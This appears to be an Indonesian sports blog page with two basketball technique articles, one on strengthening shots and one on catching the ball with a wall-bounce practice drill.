Jangan melakukan kesalahan dalam bola basket, terutama saat mengarahkan bola. Ketika ingin mengarahkan bola, hal pertama yang harus dilakukan adalah dengan menentukan titik tujuan. Titik tujuan pelepasan bola bisa di bagian belakang ring basket atau tepat di bagian depan atas ring. Yang harus diperhatikan selanjutnya adalah memfokuskan hanya pada titik tujuan tersebut, bukan pada bola.

  1. Melepaskan Bola

Ketika ingin melepaskan bola, lengan kanan diarahkan ke depan (arah ring basket), namun siku tetap pada posisi di dalam. Luruskan siku, lalu dengan menggunakan gerakan ujung jari dan pergelangan tangan lepaskan bola. Lakukan shooting dengan membentuk posisi melengkung seperti busur. Dengan posisi ini, kemungkinan bola masuk ring akan lebih besar.

Untuk shooting dengan jarak yang lebih jauh, gunakan tenaga ekstra saat melakukan lompatan dan melakukan set point rendah. Jangan ubah cara melepaskan bolanya. Gunakan ujung jari dan kekuatan lengan, bukan menggunakan telapak tangan. Sedangkan untuk shooting jarak pendek, lepaskan bola dengan set point yang tinggi dan mendekati puncak lompatan.

  1. Follow Through

Untuk mendapatkan spin bola yang bagus, maka harus melakukan follow through yang benar. Caranya, pertama-tama arahkan jari-jari ke ring basket dengan pergelangan tangan menekuk ke depan seperti leher angsa. Pertahankan posisi ini sesaat setelah shooting hingga bola mencapai ring. Ketika melakukan follow through, posisi telapak tangan yang benar adalah menghadap ke arah lantai. Pandangan mata harus diarahkan pada target, bukan pada bola.

  1. Latih Teknik Melempar Bola Jarak Jauh

Untuk memperoleh kekuatan lemparan bola yang maksimal, coba mulai dengan berlatih melakukan lempar bola dari jarak jauh. Melempar bola dari jarak jauh membutuhkan kekuatan yang ekstra dan teknik yang sedikit berbeda dari yang jarak normal dan dekat. Namun yang paling utama adalah kekuatan tangan yang besar. jika terbiasa dengan teknik ini maka kekuatan melempar bola juga akan bertambah. Pahami dan kuasai teknik-tekniknya yang benar agar menghasilkan tembakan yang kuat dan tepat sasaran. Jika berhasil menguasai melempar bola jarak jauh, maka akan mudah untuk menguasai teknik melempar dari jarak normal dan dekat.

  1. Melatih Keseimbangan

Menjaga keseimbangan salah satu poin penting dalam menghasilkan lemparan bola yang kuat dan tepat. Selain itu juga merupakan hal dasar yang penting bahkan wajib untuk dikuasai oleh pemula maupun pemain basket profesional. Keseimbangan tubuh diperlukan ketika melakukan shooting. Jika tubuh tidak terjaga keseimbangannya, maka akan menyebabkan lemparan bola meleset atau keluar dari sasaran. Posisi tubuh ketika melakukan tembakan bola harus benar, mulai dari tangan, bahu, dan kaki. Terus latih keseimbangan tubuh dengan mengikuti teknik yang benar.

  1. Melatih Kekuatan Tangan

Untuk menghasilkan lemparan yang kuat dan tepat sasaran, yang selanjutnya penting dilakukan adalah dengan melatih kekuatan tangan. Ini penting dilakukan karena ketika melakukan shooting, tangan lah yang memegang bola. Sehingga dibutuhkan kekuatan tangan yang baik untuk menghasilkan shooting yang kuat. Untuk mendapatkan kekuatan tangan yang baik, coba latihan melakukan shooting sebanyak mungkin. Lakukan berbagai macam variasi tembakan dan titik tujuan pelepasan bola.

  1. Latih Kemampuan Shooting

Untuk melatih kemampuan shooting yang baik dan benar bagi pemula, hal yang paling penting dilakukan adalah dengan terus berlatih. Coba terus latih kemampuan melempar bola dari yang dasar dulu. Bisa dimulai dari melakukan teknik dribble atau menggiring bola dengan lari cepat, melakukan shooting dengan satu tangan, dan lay-up dari kedua sisi. Melatih kemampuan shooting akan memperbesar kemampuan melempar bola yang kuat dan tepat sasaran.

  1. Latih Kekuatan Fisik & Stamina

Dalam olahraga apapun, tidak hanya basket, kekuatan fisik dan stamina sangat penting. Untuk memperkuat lemparan bola basket, lakukan latihan kekuatan fisik dan stamina. Jangan sampai cepat merasa kelelahan dan kehabisan stamina. Cobalah rutin melakukan latihan fisik dengan melakukan skipping, jogging, dan olahraga ringan lainnya untuk mendapatkan fisik yang tetap terjaga.

Nah itulah tadi 11 cara memperkuat lemparan bola bagi pemula untuk dapat menguasai permaianan basket yang benar hingga menjadi seorang pemain professional. Namun yang paling utama dari semua teknik tersebut adalah memahami peraturan permainan bola basket dan menjaga ketahanan fisik serta stamina. Memahami aturan main bola basket penting bagi pemula sebelum nantinya menjadi pemain profesional. Yang paling penting lagi, perhatikan cara-cara melakukan teknik yang tepat. Biasanya teknik-teknik ini diajarkan oleh pelatih, namun jika ingin belajar secara otodidak tetap bisa berlatih sendiri dengan melihat dari tayangan video-video di Youtube.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

12 Cara Menangkap Bola Basket yang Benar dan Pola Latihannya

by Rita Nora
written by Rita Nora

Permainan basket merupakan salah satu olahraga yang dilakukan secara tim. Dimana setiap tim terdiri dari lima orang dan mereka berkompetisi untuk mencetak poin dengan memasukkan bola ke keranjang. Olahraga ini sangat populer di Amerika, dengan salah satu kompetisi kelas dunia nya yaitu NBA (National Basketball Assosiation). Di Indonesia sendiri Olahraga basket juga cukup populer, dimana basket di Indonesia memiliki Induk olahraga bernama Perbasi dan dengan kompetisi bergengsi dengan nama NBL (National Basketball League).

Permainan Bola Basket sendiri terdiri dari 3 posisi utama, antara lain yaitu:

  • Forward, Posisi dimana pemain bertugas untuk mencetak poin dengan memasukkan bola ke keranjang lawan sebanyak-banyaknya
  • Defense, Posisi dimana pemain bertugas menjaga pemain lawan agar tidak memasukkan bola ke dalam keranjang tim.
  • Playmaker, Posisi dimana pemain bertugas mengatur strategi dan mengatur alur bola yang dimainkan. Posisi ini merupakan posisi yang cukup sentral dalam permainan bola basket.

Kompetisi Basket Biasanya dimainkan di gedung tertutup dan memiliki lapangan yang tidak terlalu besar. Permainan bola basket menggunakan tangan sebagai sarana utama untuk bermain. Dimana ada berbagai macam teknik dasar dalam bermain bola basket. Untuk langkah awal mungkin anda bisa berlatih cara memegang bola basket yang baik dan benar. Karena bola basket memiliki ukuran yang cukup besar, jadi biasankan diri untuk memegang sambil melakukan rebounding, karena permainan basket juga wajib memantulkan bola ke lantai.

Teknik Dasar Menagkap Bola Basket

Setelah anda sudah terbiasa dalam memegang bola, anda bisa melatih beberapa teknik dasar lainya, yaitu teknik melempar bola, teknik untuk menggiring bola, dan teknik cara melakukan shooting. Selain, teknik dasar diatas ada Salah satu teknik dasar yang harus dikuasai, namun terkadang di abaikan yaitu teknik menangkap bola dalam permainan bola basket. Teknik ini meskipun terbilang cukup mudah, namun juga ada langkah-langkah tersendiri agar tangkapan bola baik dan tidak terlepas dari tangan. Karena jika sampai terlepas atau tidak tertangkap bisa menyebabkan bola dikuasai oleh tim lawan.  Dan berikut adalah beberapa langkah cara menangkap bola basket.

  1. Persiapan Awal

Dalam melakukan teknik untuk menagkap bola basket hasil umpan dari rekan satu tim, memang terbilang lebih mudah daripada merebut bola dari hasil rebound dimana bola pantulan hasil shooting yang gagal terkadang sulit ditebak. Dan untuk cara menangkap bola juga bermacam-macam tekniknya. Namun, persiapan awal memang sangat dibutuhkan dalam menerima dan menangkap bola.

Anda bisa berdiri dan melangkahkan kaki menuju arah datangnya bola. Tangan kedepan untuk menyongsong bola yang sedang dilempar ke arah anda. dan siapkan telapak tangan menghadap arah dari mana bola berasal. Dan pastikan ketika menangkap bola, berat badan menumpu pada kaki depan.

  1. Gerakan Inti

Setelah anda melangkah kearah bola dan bola menyentuh telapak tangan. Kaki depan sebagai tumpuan bisa ditarik ke belakang. Agak tekan pada bola agar bola tidak terlepas dan tarik lengan hingga bola berada di hadapan anda.

  1. Gerakan Akhir

Setelah bola berada di tangan, condongkan badan sedikit kedepan. Usahakan untuk berat badan menumpu pada kaki yang berada di bagian belakang. Dan pastikan bola berada di depan badan untuk selanjutnya anda bisa mendrible bolanya, atau anda bisa oper lagi kepada teman satu tim anda. Karena dalam peraturan bola basket ada batas waktu tertentu untuk memegang bola. 

Anda juga bisa mempelajari cara mengoper bola basket yang baik dan benar, agar nantinya tidak menyusahkan teman satu tim dalam menagkap bola hasil operan anda.

Ketentuan Menagkap Bola Basket

Ketika bola sudah berada di Tangan anda, ada beberapa hal yang perlu diperhatikan dalam menagkap bola basket diantaranya yaitu

  1. Ketika menerima bola, anda harus mengamati datangnya bola dan bisa memprediksi arah dan waktu yang pas untuk melakukan persiapan awal dalam menagkap bola, dan pastikan bola sudah dalam penguasaan anda.
  2. Ketika menagkap bola, usahakan untuk menjemput bola hasil umpan dari lawan, atau hasil dari rebounding. Yaitu dengan gerakan jari dan tangan yang rileks dan lentur.
  3. Kecepatan bola saat diumpan cukup bervariasi, jadi ketika bola dengan kecepatan tinggi, jangan melawan arah gerakan bola. Hal ini akan malah membuat bola lebih mudah terlepas. Jadi usahakan untuk mengikuti arah gerakan bola, atau ketika bola berada di telapak tangan, anda bisa menarik tangan anda ke belakang untuk meredam kecepatan bola.

Pola Latihan menagkap bola Basket

Teknik menangakap bola basket bukanlah hal yang sulit dilakukan, namun anda juga tidak bisa mengabaikanya karena teknik menagkap bola basket merupakan teknik dasar yang selalu digunakan dalam permainan basket. Untuk bisa dan fasih dalam menangkap bola, anda bisa selalu berlatih untuk menangkap bola dengan berbagai metode yang bisa dilakukan. Selain itu, Anda juga perlu melatih kekuatan otot tangan,kaki dan juga pinggang dengan beberapa Latihan fisik untuk pemain basket paling tepat untuk memperkuat tubuh. Dan berikut adalah salah satu pola latihan yang  bisa digunakan untuk melatih kemampuan menagkap bola dalam permainan bola basket.

  1. Latihan ini bisa anda lakukan sendiri dengan hanya membutuhkan bola basket dan sebuah tembok yang digunakan sebagai pemantul.
  2. Berdiri dengan jarak sekitar 3 meter dan menghadap ke dinding dan bersiaplah untuk melempar dengan memantulkanya ke dinding.
  3. Lihat bola hasil pantulan yang menuju ke Anda dan tangkap dengan melakukan gerakan sesuai dengan teknik dasar menangkap bola basket yang dijelaskan di atas. Setelah menangkap, kencangkan tangan anda dengan menariknya ke dada Anda dengan siku sedikit ditarik.
  4. Lakukan beberapa lemparan dengan memantulkanya ke dinding hingga Anda berhasil menangkap lima kali berturut-turut tanpa meraba-raba. 
  5. Lakukan Variasi dengan melempar dengan arah lebih tinggi,lebih rendah serta dengan tenaga lemparan yang juga bervariasi. Sehingga bola yang memantulpun juga bervariasi.
  6. Lakukan beberapa lemparan seperti pada nomor lima, Hingga Anda berhasil menangkap lima kali berturut-turut tanpa meraba-raba.
  7. Kombinasikan dengan lemparan dengan sudut yang berbeda, dan anda bisa melakukan dengan sedikit gerakan melangkah ataupun berlari.
  8. Jika anda sudah mahir dengan latihan menangkap bola basket dari jarak 3.5 meter anda bisa memperpendek jarak menjadi 2.5 meter.
  9. Lakukan berkali-kali agar kemampuan anda berkembang dan teruslah bergerak ke dinding, dan lakukan beberapa kombinasi latihan agar kemampuan anda semakin baik.

Untuk menjadi seorang atlet basket professional tentunya anda perlu berlatih keras untuk mewujudkanya. Jika anda sudah menguasai teknik menangkap bola basket, anda bisa berlatih untuk beberapa teknik yang lain, seperti teknik dalam melakukan dribbling, melakukan shotting, teknik saat terjadi rebounding dan sebagainya.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Newer Posts
Older Posts